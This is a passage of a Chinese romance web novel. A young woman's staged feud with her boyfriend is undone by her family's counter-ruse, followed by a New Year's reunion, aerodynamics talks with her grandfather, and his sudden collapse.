“不用!”夏篱余光瞄到听到动静从阳光房里出来的众人,像被烫到一样猛地缩回手,声音拔高,带着一种刻意的疏远和警惕:“我自己能行!不劳您大驾!” 唐简的手僵在半空,额角似乎有青筋跳了跳。想跟她说一句“过犹不及啊宝贝”,但看着完全沉浸在自己演技里的女朋友,他真是有些哭笑不得。 唐简深吸一口气,告诉自己要配合,要忍耐。 乔桥终于忍不住,“噗嗤”一声笑了出来,在夏篱瞪过来的目光中赶紧撇过去头,肩膀却还在不停地耸动。 然而这仅仅只是开始。 饭桌上,两人座位明明挨着,夏篱却硬是把自己碗碟往另一边挪了半尺。唐简把她最爱吃的油焖大虾放到她面前,她小心翼翼地用筷子推到旁边去,还配上嫌弃的表情:“你自己吃吧,我不爱吃这个了。” 唐简:“……” 在场的所有长辈面面相觑,若有所思地交换了个眼神,却一声未吭。 饭后,夏篱陪着外公外婆他们喝茶聊天消食,给他们讲这一学期在学校的所见所闻,报喜不报忧。 另一边唐简也在和雷砚聊着什么,但眼睛却不由自主地总向着夏篱那边瞟。雷砚瞅了半天,故意用不大不小的声音问他:“你和阿篱又吵架了?这次吵这么凶?我刚看阿篱看你那眼神,跟看阶级敌人似的。” “……”唐简有苦难言,无言以对。 他原本以为夏篱只是稍微演一下,却没想到她完全沉浸其中,乐此不疲。两人相处的氛围不仅不像从前吵吵闹闹的发小,倒真像是结了八辈子仇的冤家。 反倒是那边的夏篱竖着耳朵听见自己老哥的话,满意地偷偷笑了笑。并且眼尖的发现自己老妈在听到老哥这话后,眉头越皱越紧,显然对此深信不疑了。 她想这坚持到年初一,还不是手拿把掐的事呢! 过了会儿,聊起前两天唐简分区赛的比赛,雷砚提议去篮球馆打会篮球去,几个大男人一拍即合起身,女生们也跟着起身要去凑凑热闹当拉拉队。乔桥大掌兜着夏篱的后脑勺,要让她去当裁判,但刚没走两步,就被夏引之给叫住了。 “你们先去,”夏引之拉过自家小姑娘,看着众人道,“我和阿篱去海边散散步,一会过去。” 雷镜闻言走过来,看着自己老婆和闺女,“要我陪你们吗?” 夏引之摇摇头,“你们先去玩,我们待会儿就过去。” 雷镜点点头,在夏引之额头上亲了亲,又揉了揉女儿的头发,再拿沙发上的两个小薄毯披到两人身上,“海边风大。” “嗯。” 夏篱在旁边看着父母自然而然地互动,目光下意识地到人群里去寻找什么,然而就在她视线要和某人相交的刹那,她忽而像是记起什么似的,硬生生止住目光,把视线收了回来。 虽然她不是很确定老妈突然要跟自己说什么,但自小到大母女谈心的时刻总是她很喜欢也很珍惜的时光。 海边的风,带着咸湿的凉意,海浪一遍遍冲刷着沙滩,留下白色的泡沫。母女俩并肩漫步,气氛却有些微妙的沉默。 不知不觉,直到两人走到了那天同样的位置。 夏引之才轻轻开口,声音带着一丝不易察觉的伤感:“阿篱,你和阿简……是不是出了什么问题?” 不知为何,夏篱心里一咯噔,但还是强装镇定:“没、没有啊。我们能有什么问题。” 夏引之停下脚步,转身面对女儿,海风吹拂着她的发丝,看着夏篱的眼神里充满了温柔的忧虑:“你还记得国庆节你们回来的时候,妈妈那天跟你在这里说过的话吗?” 夏篱点点头。 “我说,你们长大了,感情可能会变化。可能升华为爱情,也可能会沉淀为一生挚友,甚至……因为各自走上不同的道路而渐行渐远。”夏引之的声音蓦地带了些哽咽,“那时候妈妈心里其实就做好了各种准备的。只是……只是妈妈从来没想过,短短几个月的时间,你们会变成这样……” 她说着,眼眶迅速泛红,一滴泪珠毫无预兆地滑落下来。 “虽然妈妈知道要尊重你们的选择,可看着你们好像连普通朋友都做不成了,妈妈这心里,还是会觉得遗憾和难过。” 看着自己老妈哭红的眼,夏篱眼下彻底慌了神! 她只是想开个玩笑逗逗大家,没想着怎么就把老妈给弄哭了?!这让老爸知道还不得骂死自己啊! “妈!妈咪你别哭啊!”夏篱手忙脚乱地给夏引之擦眼泪,语无伦次地解释,“不是你想的那样!我跟唐简好着呢!我俩没吵架!更没有老死不相往来!我们那是……那是演戏呢!骗你们的!” 夏引之抬起泪眼,狐疑地看着自己小姑娘,抽泣着说:“阿篱,你不用为了哄妈妈开心就骗我……妈妈只是有点难过,过段时间就好了……” “我没骗你!真的!”夏篱急得直跺脚,眼看老妈眼泪越哭越多,她都快哭了,“我真没骗你!我俩不仅没事,我俩还正在谈恋爱呢!” “……”夏引之顿了下,吸了吸鼻子,“谈、恋、爱?” 夏篱猛猛点头,“嗯嗯!” “怎么可能?”夏引之抽泣,“你肯定是在骗妈妈的。” “…………”夏篱可算是知道什么是“搬起石头砸自己的脚”了。眼见自己一张嘴根本说不清楚,她二话不说,拉着还沉浸在悲伤情绪里难过得不能自己的夏引之,风风火火地就往庄园的室内篮球馆跑去。 篮球馆里,一群男男女女老老少少说是在打球,实则个个心都没在篮球上,你一言我一语,不知在密谋什么。少顷听见大门口动静,各自默契四散开来。加油助威和篮球落地的声音配合的相当默契。 唐简刚完成一个漂亮的突破上篮,落地转身,就看到夏篱拉着夏引之一阵风似的冲了进来。 “唐简!”夏篱一眼锁定他的位置,大喊了一声。 唐简抱着篮球,疑惑地看向气喘吁吁跑到自己跟前的夏篱和她身后眼眶红红的夏引之。 “你们这是——” 他话还没说,夏篱一个箭步冲到他旁边,抓住他垂在身侧的左手举起来,然后当着干妈……也当着众人的面用力和他十指相扣,冲着干妈晃了晃。 唐简眨了眨眼,显然没太弄明白什么情况。 而夏引之此时却靠到走过来的雷镜怀里,抬手抹了抹眼睛。夏篱见此,又伸手抱住唐简的腰,看着自己妈妈用力点了点头,示意:现在总该信了吧? 夏引之的反应是更难过地捂住了脸。 夏篱没招了。 最后,她在唐简惊愕的目光中,踮起脚尖,拽着他衣领让他俯下身,毫不犹豫地吻上了他的唇。 “轰——” 唐简的大脑空白了一瞬,整个人仿佛被施了定身咒,僵硬地站在原地,只有唇上传来的温软触感真实得可怕。 他手里的篮球“啪嗒”一声掉在地上,弹跳着滚远。 其实不止是他,在场的所有人都愣住了。 他们试想过各种场景,但也属实没想到会是这个结果。 整个球馆,霎时间静得只剩下篮球落地后弹跳的余音。 一吻完毕,夏篱松开仿佛已经石化的唐简,脸颊绯红,却努力摆出一副“看吧我没骗你”的表情,转向夏引之。仿佛在说:妈妈!现在你总该相信了吧! 然而,预想中母亲的惊讶或释然并没有出现。 指尖夏引之抬手擦了擦眼角——方才那伤心欲绝的神情瞬间消失无踪,取而代之的是一种混合着狡黠、欣慰和再也忍不住的浓浓笑意。 紧接着—— “噗嗤——”这是雷砚第一个没憋住笑出了声。 “哈哈哈哈哈——”乔桥毫不客气地放声大笑。 雷镜紧跟着也摇头失笑。 随即在场的所有人,连小小人乔玵都又蹦又跳地尖叫笑起来。 唐简这时才仿佛从雷击中回过神,他看着眼前笑得前仰后合的家人,又看看一脸懵圈、还没搞清楚状况的夏篱,瞬间明白了过来。一股巨大的、哭笑不得的暖流涌上心头,他再也忍不住,低沉而愉悦的笑声从胸腔里震荡出来。 夏篱看着眼前这戏剧性的一幕,后知后觉地反应过来——自己这是被全家人合伙给“演”了!他们早看穿了自己那蹩脚的演技,却故意不说破,还配合妈妈来了这么一出“苦情计”,就等着她自投罗网。 “你、你们……!”夏篱的脸瞬间红得像今晚餐桌上那盘烧红的虾子,羞愤交加,恨不能当场找条地缝钻进去。 就在这时,一直温暖有力的手臂揽住了她的肩膀,将她紧紧地、紧紧地搂进了怀里。 是唐简。 他下巴抵着她发顶,胸膛因笑声而震动,温暖的气息将她完全包裹。 夏篱把滚烫的脸埋在他带着熟悉皂荚香的胸口,听着耳边家人毫不收敛的笑声和唐简沉稳有力的心跳,气恼地锤了他两下,最终却也忍不住,在他怀里闷闷地笑了起来。 甘棠庄园的这个冬日,注定因为这场由“演技”引发,最终以温暖和欢笑收场的闹剧,而显得格外热闹和难忘。 第89章 除夕当天下午, 甘棠庄园早已是一派喜气洋洋的景象。 大红灯笼高高挂起,窗棂上贴满了巧手剪出来的窗花,空气里弥漫着炖肉和炸年货的浓郁香气。 夏篱站在衣帽间的镜子前, 已经换了第三套衣服。明明衣柜里塞满了各式各样的冬装,此刻却觉得哪一件都不够妥当。她最终选定了一件柔软的米白色羊绒连衣裙, 外搭一件正红色的牛角扣羊毛大衣,衬得她肤色愈发白皙,整个人像颗裹在精致糖纸里的牛奶糖,清新又带着节日的喜庆。 只是镜子里那张俏脸上,眉头却微微蹙着, 一丝显而易见的紧张萦绕在眉宇间久久不散。 唐简靠在门框上, 已经看了她好一会儿。 他穿着简单的黑色高领毛衣和长裤, 外面随意套了件深灰色呢绒大衣, 身姿挺拔,气质冷峻,与夏篱的精心打扮形成鲜明对比。 他嘴角噙着一抹了然又带点坏心眼的笑, 慢悠悠地开口:“接个机而已,不知道的还以为你要去参加什么国际峰会。怎么,见你干爸干妈, 比见启明科技的岑总还紧张?” 夏篱从镜子里瞪他一眼,没好气地说:“你懂什么!那能一样吗?” 以前是干女儿的身份, 可以肆无忌惮地扑进干妈怀里撒娇。可现在……现在她是作为唐简的女朋友,是另一种身份了。 虽然干爸干妈从小看着她长大, 疼爱她丝毫不亚于亲生父母,但这种关系的转变,还是让她心里莫名有些打鼓,生怕表现得不自然, 或者……哪里不够好。 “有什么不一样的?”唐简几步走到她身后,双臂自然地环住她的腰,下巴搁在她颈窝,看着镜子里的她故意压低声音,气息拂过她敏感的耳廓,“丑媳妇总要见公婆,何况你又不丑,这么漂亮。” “唐建军!”夏篱被他这话激得又羞又恼,手肘用力往后顶了他一下,“你说谁是‘丑媳妇’呢!我们才刚开始谈恋爱,我警告你少自恋啊。” “反正我又不会放你走,那还不是早晚的事。”唐简挨了一下也不松手,反而收紧了手臂,低笑着看她炸毛的样子,“再说了,你从小到大在我爸妈心里,跟亲闺女也没区别,现在不过是换个更名正言顺的身份继续疼你而已,有什么好紧张的?怕他们不喜欢你这个‘儿媳妇’?” 他特意加重“儿媳妇”两个字,成功看到夏篱从耳根到脖颈都染上了一层薄红。 “你快闭嘴吧!”即使两人已经在一起了,夏篱发现唐建军的这张嘴有时候真的还是很讨人厌的,她转身气呼呼地伸手去掐他脖子,力道却轻得像挠痒痒,“我就是……就是感觉有点奇怪嘛!” 唐简任由她没什么威慑力地“施暴”,眼底的笑意却越来越深,带着洞悉一切的温柔和纵容。他握住她手腕,轻轻拉下来,包裹在自己温热的掌心里。 “别瞎想。”他看着她,眼神认真了下,“我妈听到消息的时候,在电话里高兴得差点把老唐同志的耳朵震聋了,反复确认了三遍,然后就开始念叨着要立刻打报告休假回来。我爸表面上没说什么,但他发给我的小作文我不是也都让你看了吗?要是我以后敢对你不好,不会等干爸先收拾我,他就会直接把我剁碎了丢海里喂鱼了。” 他的话像暖流,一点点抚平了夏篱心里那点莫名的褶皱。她当然知道干爸干妈对她的疼爱,只是身份的转变带来的微妙羞怯,需要一点时间来适应。 想到这里,夏篱忽然就有点不是滋味了,在他怀里仰着脑袋看他鼓了鼓嘴,“为什么当时回家你看到我爸妈都不会紧张的啊?”这也太不公平了。 唐简看她一脸不服气的小模样,没忍住“噗嗤”一笑,掐了掐她气呼呼的小脸,“这也要比啊?” “啊。” 唐简心里怎么可能不紧张,只是男人嘛,都好面子。面对自己女朋友,当然不会表现出来,闻言他故作深沉地思忖一番,正儿八经胡扯道:“大概是因为我相信我自己,就像他们会相信我未来一定会以他们为榜样,用尽全力去爱自己的爱人一样。疼你尊重你一辈子对你好。所以我才会不担心。” 夏篱刚开始听得还挺感动的,但很快却意会出来一点不对劲。她伸手掐住他脸颊两侧,呲牙道,“你挖坑给我。” “我挖什么坑了?”他笑问。 夏篱哼声,“你的意思好像是我对自己没信心不会一辈子对你好,所以才会心虚才会担心看到干爸干妈一样!” “哦?所以你是吗?” “当然不是!……不对,唐、建、军!!!” “哈哈哈哈——” “你……”她刚开口,就被他堵住了唇。 不同于飞机上那个带着惊喜和纪念意味的轻吻,也不同于那天篮球馆带着“证明”意味的仓促一吻,这个吻深入而缠绵,带着压抑许久的情感终于得以宣泄的炽热和渴望。唐简耐心地描绘着她的唇形,然后温柔地撬开她的齿关,加深了这个吻。 夏篱起初还有些僵硬,但在他不容置疑却又极尽温柔的攻势下,渐渐放松下来,生涩地回应着。她的手无意识地攀上他肩膀,感受着他衣料下紧绷的肌肉和灼热的体温。周围的一切仿佛都消失了,只剩下彼此交融的呼吸和擂鼓般的心跳。 不知过了多久,唐简才依依不舍地松开她,两人额头相抵,微微喘息。夏篱的脸红得像熟透的蕃茄,眼神湿润,带着一丝迷离。唐简看着她这副模样,喉结滚动了一下,眼底的暗色更深,忍不住又在她微微红肿的唇上轻啄了几下。 “后悔了。”他突然贴着她唇边叹息。 “嗯?”前言不搭后语的,夏篱没明白。 唐简搂紧她,蹭到她颈边深深吸了一口气,嘀咕着叹气:“不知道现在让砚哥去接机还来不来得及。”现在真是丁点儿不想放开她。 夏篱:“……………………” 机场大厅,行人络绎不绝。 两人赶到机场时,电子显示屏上,从唐峥和云昭昭所在海军基地城市飞来的航班状态刚刚变更为“已到达”。 夏篱不自觉地理了理其实已经很平整的衣角,深吸了一口气。 唐简看着她这副如临大敌的模样,觉得可爱又好笑,忍不住又想逗她:“现在跑还来得及。” 夏篱立刻抬脚去踩他,眼见他习惯性地零帧起脚让她落了个空,她作势又要去掐他脖子,唐简笑着微微后仰配合她,两人正笑闹间,一个难掩激动和喜悦的熟悉女声穿透了嘈杂的人声,清晰地传了过来:“阿篱!阿简!” 夏篱动作一顿,猛地转头望去。 只见出站口的方向,并肩走来的正是唐峥和云昭昭。 或许滋润在爱里的女人都是一样的,夏篱每每看到自己老妈和干妈,甚至是外婆奶奶她们,对比其他同龄人,岁月似乎格外优待她们。因为无论何时见到,你总能从时间赋予她们的智慧里,看见她们始终明媚和温柔的眉眼。 夏篱远远看着此刻脸上洋溢着巨大的、毫不掩饰的开心笑容,正用力朝他们挥着手的云昭昭,脸上也不自觉扬起了笑。然后下一秒,在夏篱还没完全反应过来时,云昭昭已经松开了自家老公的手,几乎是朝着她小跑过来。 “干妈……”夏篱刚开口,声音就被堵在了喉咙里。 云昭昭一把将她紧紧抱住,力道大得让夏篱踉跄了一下,随即又抱起她原地转了两圈!像是要把所有的思念和喜悦都用这个拥抱表达出来。 “哎哟我的宝贝!”云昭昭声音里激动难掩,松开一点,双手捧着夏篱的脸,眼睛亮晶晶地仔细端详,“让干妈好好看看!哎呀瘦了瘦了又瘦了!怎么比上次国庆回来还要瘦了呀,我宝贝脸上的肉都没了……” 虽然这一整个学期因为各种各样的事情她确实瘦了好几斤,但也远不止于连脸上的肉都能给瘦没了。可自从回了家,这段时间爸妈他们有意无意还是早把她那掉的几斤给悄默声地养了回来。虽如此,但此时夏篱却也明白,眼前这个从小疼自己到大,如同自己另一个母亲的女人,眼里的心疼依然是情真意切的。 “哪有啊干妈,”夏篱回看着云昭昭,刚才那点紧张瞬间烟消云散,只剩下满满的温暖和动容,“我吃得好睡得香,一点问题都没有。 这时,唐峥也走了过来。他先是拍了拍儿子的肩膀,眼神里带着男人间的赞许和了然,然后目光温和地落在夏篱身上。 “干爸。”夏篱有些不好意思地从云昭昭怀里探出头,小声叫道。 不同于面对儿子时的肃穆和严厉,唐峥脸上是极其温和的笑容,他张开双臂,也给了夏篱一个坚实而温暖的拥抱。这个拥抱不同于云昭昭的热情洋溢,却带着一种沉甸甸的、属于父辈的祝福和力量。 回到庄园,节日的气氛更加浓郁。偌大的玻璃阳光房里,热闹的寒暄和拥抱后,大家便自发地围拢到餐厅那张超大的餐桌旁,开始为年夜饭的重头戏——包饺子做准备。众人分工合作,说说笑笑,好不热闹。 夏引之和云昭昭这对自小连脸都没红过的好闺蜜自然是挨在一起的,一边熟练地包馅,一边低声说着体己话,目光不时瞟向正在和唐简、雷砚他们一起“笨手笨脚”包饺子的夏篱。唐峥和雷镜则在一旁负责技术难度更高的“元宝”饺子和“麦穗”饺子哦,乔桥人“老”玩心大,跟自家小姑娘时不时一起搞怪把面粉抹到旁边人脸上,引发婶婶和众人一阵笑骂。 在外虽总是一副不苟言笑模样的外公,在家里,尤其是像这种团圆夜的这种时候,却总是作为神级大厨的存在。所以即使他这两天因为有些不大舒服,被他们勒令和外婆他们在一旁休息,但总是耐不住好奇踱步过来不时瞅上两眼。 夏篱看着眼前这一幕,心里被一种巨大的幸福感和归属感填满。这就是家,是她无论走到哪里,都会深深眷恋的港湾。 年夜饭自然是丰盛无比,长长的餐桌上摆满了各色佳肴,色香味俱全。席间觥筹交错,笑语喧哗。吃过晚饭,大家移步到休息区,,围着茶几吃水果、嗑瓜子、看春晚,虽然节目未必个个精彩,但一家人聚在一起的氛围才是最重要的。 快到零点时,精神矍铄的六位老人家笑着给夏篱他们都发了厚厚的压岁钱,寓意平安顺遂。老人们年纪大了,熬不了夜,便提前回房休息,把守岁的空间留给年轻人。 当时钟的指针终于重合在“12”的位置,电视里传来新年钟声的轰鸣,窗外,甘棠庄园乃至更远处的夜空中,瞬间炸开无数绚烂的烟花,将半个天际硬照得如同白昼。 “新年快乐!” “新年快乐!” …… 客厅里,大家互相道贺,拥抱,亲吻,脸上都洋溢着喜悦的笑容。当唐简凑过来在她唇上轻啄那一下时,夏篱刚开始还吓了一跳,可在他的示意下,她偏头看大家,才发现原来他们不过也成为了“他们”而已。 连最小的乔玵似乎都对这一切习以为常,小小人咚咚咚地跑到同样“孤孤单单”不知看着远处的烟花在想什么的雷砚身边,一手拽着他的手晃了晃,在他低头看她时另一只手对他招招手,一副“同甘共苦”的模样拍拍自己小胸脯,“没关系的大哥,你还有我!” 雷砚被这小人弄得哭笑不得,在其他人哄笑的声音中揉揉她的小脑瓜子,“是啊,还好有阿玵陪着大哥。” 在这片热闹声中,云昭昭却轻轻拉过了夏篱的手,将她带到稍安静一些的落地窗前。窗外是不断升腾、绽放的璀璨烟花,流光溢彩,映在他们脸上。 云昭昭从口袋里拿出一个准备好的,明显比正常看着要更厚实一些的红包塞到夏篱手里。红包里除了崭新的钞票,还能摸到一张硬硬的卡片。 “阿篱,这个你收好。”云昭昭握着夏篱的手,声音温柔却带着一丝不易察觉的颤抖,“这里面有张卡,密码是你的生日。” 夏篱愣了一下,连忙推拒,“干妈,你这是做什么……” “听话,拿着。”云昭昭不容置疑地把红包按在她手心,然后看着她,眼眶毫无预兆地红了起来,“阿篱,有些话,干妈想趁着今天这个机会跟你说。” 她深吸一口气,努力平复着情绪,但声音还是带上些微的哽咽,“你知道吗?上次国庆阿引当时跟你的谈话我其实都知道,当阿引跟我说了那些之后,干妈这心里……就一直揪着。” “我知道,你们长大了,有自己的想法和人生,我们做父母的,应该放手,应该尊重你们所有的选择。道理我都懂,可是……可是我只要一想到,你们俩有一天可能会真的……真的分开,可能再也不会像从小长大那样亲密,我这心里就难受得跟什么似的。” 这时,夏引之和唐峥他们也注意到了这边的动静,都关切地围了过来。夏引之轻轻揽住好友的肩膀,无声地安慰着。唐峥也走到妻子身边,大手安抚地拍了拍她的背。 夏篱看着云昭昭的眼泪,自己的眼圈也瞬间红了,心里酸涩不已。她从未想过,他们小辈之间关系的微妙变化,竟会让长辈们如此牵肠挂肚。 虽然那天在篮球馆她和唐简的关系以老妈一场以假乱真的“哭戏”而戏剧性地在家里拉开帷幕,但夏篱心里其实也清楚,那天在海边老妈跟自己说的话就像此时干妈跟自己说的一样,都是认真的。 “昭昭……”夏引之轻声唤道。 云昭昭摇摇头,示意自己没事,她用力握紧夏篱的手,继续说着,目光恳切而真诚:“虽然我们总说,你们是自由的,你们的人生是你们自己的。但干妈承认,我心里……一直都偷偷存着一个愿望。我希望能像你外公外婆他们看你的爸妈那样,看着你和阿简从小一起长大,虽吵吵闹闹,最后却也能成为彼此最坚定的选择,从两小无猜到白头偕老。” “可是……”云昭昭的泪水再次滑落,“可是我也知道,阿镜和阿砚给了你一个太好的榜样。他们细心温柔、体贴风度翩翩。我有时候会想,你未来肯定也会想要找一个像他们那样的爱人。偏偏……偏偏阿简他不争气,和他爸爸一个德行,从小就不是什么省油的灯,说话不好听人又傲娇得不行,一点都不温柔体贴还总是惹你生气……” “妈。”唐简在一旁无奈地低唤了一声,语气里却没有丝毫不悦,只有理解和动容。 云昭昭看向儿子,眼神充满了母亲的骄傲和温柔,然后又转回夏篱,泪水涟涟却笑容绽放:“可是阿篱,干妈真的要谢谢你。谢谢你看到了阿简那副硬邦邦的壳子底下,藏着的细心和责任感。” 她的声音变得无比郑重,仿佛在许下一个最重要的誓言:“阿篱,干妈今天以一个母亲的名义向你起誓,唐简他或许不会说太多漂亮话,或许有时候脾气又臭又硬,但他认准的事,认准的人,就一定会用尽全力去守护,一辈子都不会放手。他一定会成为你心目中最适合、也最唯一的人选。请你相信他,也相信干妈。” “而我云昭昭,和你干爸唐峥,今天在我们所有家人的见证下向你保证,我们一定会努力成为这个世界上最开明、最支持你们的、最棒的公公和婆婆!我们永远都是你最坚实的后盾。” 这番发自肺腑的告白,带着泪水和最真挚的祝福,重重地敲击在夏篱的心口上。她再也忍不住,眼泪夺眶而出,小心扑进云昭昭的怀中,紧紧把脸埋在她的颈窝里。 唐简也走上前,伸出长臂,将生命中最重要的两个女人一起拥入怀中。唐峥和夏引之、雷镜他们对视一眼,眼中都充满了欣慰的笑意。 窗外的烟花依旧绚烂,照亮了崭新的年份,也照亮了这一刻,紧紧相拥、泪水与欢笑交织的,充满了爱与承诺的团圆夜。 眼下这一刻,夏篱别无所求,只希望所有她爱的人和爱她的人,都能够平平安安,永远永远地陪在她身边。 第90章 除夕夜的喧嚣与绚烂渐渐沉淀, 甘棠庄园迎来了新的一年。 假期的时间仿佛被按下了快进键,在慵懒的闲暇中飞快流逝。然而夏篱知道,东亚区选拔赛的决赛在即, 对于她的挑战从未停止过。更何况通往黄伟教授主持的《异形、叶栅空气动力学国家级重点实验室》的钥匙,就系在这次比赛的成绩上。这个目标, 她默默努力,未曾向最敬重的外公提起分毫,期待用实实在在的奖杯,给他一个惊喜。 不过,即使这个新年对比以往因为她和唐简关系的变化而霄壤之别。但假期的许多午后, 夏篱最常待的地方, 依然还是外公那间自己从小便待得最多的、充满了岁月痕迹和航空梦想的工作间。 工作间位于书房小院后侧, 是另一栋独立的、爬满了常青藤的院落。推开门, 一股混合着旧书、金属木料和淡淡机油的特殊气味便扑面而来。阳光从高窗斜射而入,照亮了空气中漂浮的微尘。四周靠墙立着顶天立地的书架,塞满了泛黄的航空期刊、设计图纸和厚重的外文专著。工作台宽大而略显凌乱, 上面摆放着各种甚至连夏篱都叫不出名字的工具、尚未完成的飞机模型零件,以及一些用精密仪器固定着的、造型奇特的异形或叶栅模型。 在夏篱的记忆里,外公退休后的大部分闲暇时光除了翻译那些繁冗的外文著作, 其他时间便是在这里度过的。即使年纪越来越大,身板却依旧挺直, 眼神锐利而清澈,当他凝视那些模型和图纸时, 她就总觉得外公他仿佛能穿透物质,看到空气流动的轨迹一样。 “外公,”这天夏篱拿着一份“探索者2号”初期设计时遇到的启动问题摘要——她小心地隐去了项目具体信息和参赛目的,只将其作为理论探讨——像小时候一样凑到正在打磨一个微小木质翼型的宋欧阳身边汲取想要的知识, “我们在模拟的时候发现,当飞行器在特定攻角进行大机动时,机翼后缘总会产生一种非定常的涡旋脱落,导致姿态瞬间失稳。我们尝试调整翼型,但效果总不理想。” 宋欧阳停下手中的动作,接过夏篱递来的草图,推了推老花镜,目光锐利地扫过那些线条和数据。他并没有立刻回答,而是指着工作台后方书架上一本厚厚的、书脊已经有些磨损的《边界层理论与控制》:“阿篱,去把第三册 ,第217页,关于‘主动流动控制抑制分离涡’的那篇文献拿给我。” 夏篱轻车熟路地找到那本书,翻到指定页数。宋欧阳就着灯光,用布满岁月痕迹的手指划过复杂的公式和图例,声音沉稳而清晰:“你看,这里提到一种基于卫星合成射流的主动控制思路。不是在异型上做大的改动,而是通过在特定位置布置微小的激励器,在涡旋即将生成时施加反向扰动,打乱它的结构。这叫‘四两拨千斤’。” 他放下书,又拿起一支铅笔,在夏篱的草图上简单勾勒了几笔:“你们年轻人的思维活跃,喜欢在算法和大架构上创新,这很好。但有时候,也要回过头看看这些经典的、物理层面的控制方法。” 夏篱眼睛一亮,如同拨云见日。 她又指着图纸上另一处复杂的结构,“还有还有,这里,我们这个矢量喷口的叶片设计,在高速状态下,边缘涡流的产生总比仿真预测的要早,导致控制力矩一直出现非线性波动……” “ 嗯,问题可能不在叶片边缘本身。”宋欧阳布满老茧的手指稳定有力地在图纸上缓缓移动,闻言思忖着,“这里气流通道的过渡曲线……你们应该是为了控制加工成本,在这用了折线近似,对吧?气流不喜欢突然的转折,它会在这里形成分离涡,这个初始涡向下游发展,撞击到你的叶片,才诱发了更复杂的非定常流动。” 他又在图纸的空白处快速勾勒出另外几条流畅的曲线:“试试看,把这里改成连续曲率过渡,哪怕加工精度要求高一点,但对流场的改善是决定性的。有时候,一个上游看似微不足道的改进,能解决下游一大堆麻烦。这是我们当年搞‘昆仑’发动机压气机叶片时,用惨痛教训换来的经验。” 外公寥寥数语,往往能直指问题的核心,那是无数工程实践的理论钻研沉淀下来的智慧。夏篱闻言连忙点头,飞快地在笔记本上记录着。 宋欧阳看着外孙女无比认真的侧脸,眼中流露出欣慰和骄傲:“阿篱,你能想到这些问题,并且深入到非定常流动的层面,外公很惊讶。你对流场的直觉,甚至比外公当年带的那些学生还要敏锐。” 夏篱的心因为外公的夸奖而雀跃,但更多的是一种精神上的共鸣与满足。她仿佛能感觉到,那些沉淀在外公脑海中的知识、经验和智慧,正通过这样一次次看似随意地问答,涓涓流淌进她的血脉,完成这一种无声却深刻的传承。 “外公,那如果面对极度复杂的、非对称的异形结构,比如……比如像一些未来飞行器可能采用的构型,”夏篱忍不住追问,脑海中浮现的是实验室里那些更为前沿和大胆的构想,“初始的气动设计,最应该遵循的原则是什么?是极致的气动效率,还是控制的稳定性优先?” 宋欧阳沉吟片刻,目光投向工作间墙上挂着的一幅泛黄的、他年轻时参与某个重点项目团队的照片,眼神悠远。 “都不是,”良久他缓缓摇头,声音带着一种历经千帆后的笃定,“是‘理解’。阿篱,你要真正理解它为什么要设计成那个样子,理解它在每一个飞行包线内,空气会如何流过它的表面,会产生怎样的力和力矩。效率、稳定,都是基于‘理解’之后的结果。” 他指了指自己的心口,又指了指夏篱的小脑袋:“最好的设计师,不仅用手画图,用电脑仿真,更要这里和这里,去‘感受’飞行。你要让你的飞行器,成为你身体的眼神。无论它形状多么怪异,你都要像了解自己的手指一样,了解它在风中的每一次‘呼吸’。” 外公的话像一束光,照亮了夏篱心中某些模糊的地带。她忽然意识到,自己参加SAE,追求技术上的突破,其更深层的渴望,或许正是外公所说的这种“理解”和“感受”——是让那些冰冷的公式和图纸,变成有生命、会呼吸的飞行艺术。 “那外公……您觉得未来的战斗机,会朝着哪个方向发展呢?” 夏篱眼睛滴溜溜地转了转,好奇问了一个困扰她也困扰很多人却始终没答案的问题,“是更高、更快,还是更注重隐身和智能化?” 宋欧阳笑了笑,拿起那个尚未完成的木质模型,那是一个造型颇为前卫的、带有明显隐身特征的无人机概念模型。“都有可能,也都不完全是。真正的突破,往往发生在学科的交叉地带。就像你们现在玩的矢量推进和仿生飞控,谁能说这不会是未来某个重要方向的雏形呢?”他意味深长地看着夏篱,“记住,阿篱,技术是工具,但驱动技术前进的,永远是人的想象力和敢于打破常规的勇气。不要被现有的框架束缚住。” 祖孙俩就这样,在工作间弥漫着的木香和旧纸张的气息里,一问一答,时光静静流淌。阳光透过高窗,洒在那些承载着梦想的模型和图纸上,也洒在这一老一少的身影上,勾勒出一幅能拓印在脑海中许久许久的温暖画面。这种跨越代际的共鸣,让夏篱感受到一种前所未有的踏实和力量。她更加确信自己选择的道路是正确的,也更坚定了要拿下SAE奖项,以此作为通往更高殿堂的敲门砖,届时再骄傲地对外公宣布这一切。 唐简有时会来找她,通常只是安静地靠在门框上,不打扰他们祖孙间的交流。他看着夏篱与外公交谈时发光的脸庞,看着她因为一个难题蹙眉,又因为外公的点拨而豁然开朗,嘴角总会不自觉地上扬。他知道她的梦想,也明白她此刻的幸福。他只是在心里默默计算着返校的日期,想着实验室里那些等待他们去攻克的下一个难关。 年初六的晚上,夏篱和唐简开始收拾行李,准备照计划第二天一早提前返回学校,投入“探索者2号”最后的冲刺。 晚饭后,夏篱依依不舍地又溜达到了外公的工作间。宋欧阳正在整理一些旧物,看到她,笑着招招手:“来得正好,帮外公看看这个箱子底下的图纸,是不是我之前找的那份手稿。” 夏篱应声走过去,弯腰去翻看那个老旧的木箱。里面大多是些她看不懂的、更早期的手稿和数据记录。她小心翼翼地翻找着,生怕弄坏了这些珍贵的历史痕迹。 就在这时,她听到身后传来一声轻微的、压抑的闷响。 夏篱下意识回头,瞳孔骤然收缩—— 只见刚才还站着和她说话的外公,此刻竟毫无征兆地倒在了地上,双目紧闭,身体微微蜷缩,脸色在灯光下呈现出一种可怕的灰白,已然失去了意识! 那一瞬间,巨大的恐惧像冰水一样从头浇到脚,夏篱只觉四肢刹那冰凉僵硬,心脏仿佛被一只无形的手狠狠攥住,骤然停止了跳动。 “外公?!”《 》 90-98 第91章 “外公?!” 那一秒, 夏篱大脑几乎是空白的,只有外公倒在地上一动不动的身影占据了她全部的视野。 但下一秒,多年培养的冷静和理智强行压倒了恐慌。她几乎是扑到墙边, 手指精准而用力地拍下那个隐藏在书架旁、颜色醒目的红色紧急呼叫按钮。 “嘀——!!!!” 尖锐刺耳的警报声瞬间划破了工作间乃至整个庄园的宁静。 “外公!外公!”她迅速跪倒在外公身边,声音颤抖动作却异常迅速。她记得家庭医生普及过的所有急救知识, 小心地让他保持平卧,解开他领口的扣子,确保呼吸通畅,手指颤抖地探向他的颈动脉。 有那么一刹那,夏篱毫无感觉, 直到下一瞬指尖下传来微弱但确实存在的波动, 才让她濒临冻结的血液重新开始流动。她不敢移动他, 只是紧紧握住他一只冰凉的手, 